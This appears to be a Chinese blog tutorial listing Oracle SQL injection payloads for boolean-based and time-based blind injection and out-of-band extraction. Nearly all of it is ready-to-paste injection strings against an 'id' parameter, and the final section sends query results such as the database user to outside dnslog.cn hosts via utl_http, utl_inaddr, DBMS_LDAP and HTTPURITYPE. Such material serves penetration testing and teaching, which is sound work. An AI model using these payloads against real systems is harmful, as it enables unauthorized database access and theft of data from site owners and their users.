布尔盲注:
利用substr函数截取字符进行盲注:
-
猜测用户名:
id=1' and (select substr(user,1,1) from dual)='S' --
id=1' and (select substr(user,2,1) from dual)='C' --
- 通过substr、ascii函数进行盲注:
注意:所有可见字符的ASCII码(32~126)
id=1' and (select ascii(substr(user,1,1)) from dual)>82
- 通过 case、substr()、ascii() 函数的盲注:
id=1' and 666=(case when ascii(substr(user,1,1))=83 then '666' else '555' end)--
-
猜测表名:
id=1' and (select substr((select table_name from user_tables where rownum=1),1,1) from dual)='D' --
-
猜解列名:
id=1' and (select substr((select column_name from user_tab_columns where table_name='USERS' and rownum=1),1,1) from dual)='I' --
-
猜解数据:
id=1' and (select substr((select name from users where rownum=1),1,1) from dual)='x' --
-
利用Burpsuite猜解用户名:
![](https://img.haomeiwen.com/i21474770/24298919a25e86ae.png)
![](https://img.haomeiwen.com/i21474770/00f225b29fdab448.png)
利用DECODE函数进行盲注:
- 语法格式:DECODE(value, if1, then1, if2,then2, if3,then3, . . . else )
Value 代表某个表的任何类型的任意列或一个通过计算所得的任何结果。当每个value值被测试,如果value的值为if1,Decode 函数的结果是then1;如果value等于if2,Decode函数结果是then2。如果value结果不等于给出的任何配对时,Decode 结果就返回else
- 猜解用户名(库名):
# 判断用户名的第一个字符,若为S,则返回1,否则返回0
id=1' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --
- 猜解表名:
id=1' and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'D',(1),0) from dual)--+
利用instr函数来进行布尔盲注:
-
语法格式:instr( string1, string2 ) // instr(源字符串, 目标字符串)
该函数会将string2 的值在string1中查找,它只检索一次,它会返回要截取的字符串在源字符串中的位置 -
猜解用户名(库名):
id=1'and 1=(instr((select user from dual),'SCOTT')) --
这个函数实际利用起来感觉没有上面那两个函数方便
时间盲注:
oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据
利用DBMS_PIPE.RECEIVE_MESSAGE()函数进行延时盲注(可能需要dba权限):
- dbms_pipe.receive_message('RDS', 10)
DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包
可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)
猜解用户名:
id=1' and (select decode(substr(user,1,1),'S',dbms_pipe.receive_message('cc',5),0) from dual) is not null--
id=1' and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --
![](https://img.haomeiwen.com/i21474770/fe97412157e93eaf.png)
-
配合replace函数使用:
函数用法举例:
select replace('0123456789','0','a') from dual;--a123456789
猜解用户名:
id=1' and 1=DBMS_PIPE.RECEIVE_MESSAGE('cc', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 5))--
![](https://img.haomeiwen.com/i21474770/5ea37a6db619e36a.png)
-
利用获取大量数据的语句造成时间盲注:
猜解用户名:
id=1' and (select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) is not null--
OOB外带:
带外通信即使用 Oracle 发送HTTP或者DNS请求,将查询结果带到请求中,然后监测外网服务器的HTTP和DNS日志,从日志中获取 sql 语句查询的结果,通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,尤其是基于时间的盲注,能极大地加快速度。类似于 Windows 的MySQL 中利用 LOAD_FILE 的 dns 带外通信
通过HTTP请求,或者DNSlog,来构造语句,如果目标出网,并且对数据库函数没有进行限制,就会实现攻击
使用条件:
需要有发起网络请求的权限
- utl_http.request() 向外网主机发送 http 请求,需要出外网http:
id=1' and (select utl_http.request('http://'||(select user from dual)||'.fzrnya.dnslog.cn/') from dual) is not null--
![](https://img.haomeiwen.com/i21474770/27f6590d4aac6994.png)
- utl_inaddr.get_host_address将查询结果拼接到域名下,并使用DNS记录解析日志
id=1' and (select utl_inaddr.get_host_address((select user from dual)||'.u436mi.dnslog.cn') from dual) is not null--
- SYS.DBMS_LDAP.INIT与 utl_inaddr.get_host_address 类似,很多时候数据服务器都是站库分离的,而且不一定能主动访问外网。但是有时候可能会允许 DNS 请求。并且这个函数在 10g/11g 中是 public 权限
id=1' and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.1tu2me.dnslog.cn',80) from dual) is not null--
- HTTPURITYPE:根据给定的URI创建一个实例
id=1' and (SELECT HTTPURITYPE((select user from dual)||'.vob8hd.dnslog.cn').GETCLOB() FROM DUAL) is not null--
- Oracle <= 10g:
以下模块都可用于发起网络请求
UTL_INADDR.GET_HOST_ADDRESS
UTL_HTTP.REQUEST
HTTP_URITYPE.GETCLOB
DBMS_LDAP.INIT and UTL_TCP
实际运用中还是配合sqlmap利用DNS进行OOB注入比较方便
详情请参考:使用sqlmap结合dnslog快速注入
网友评论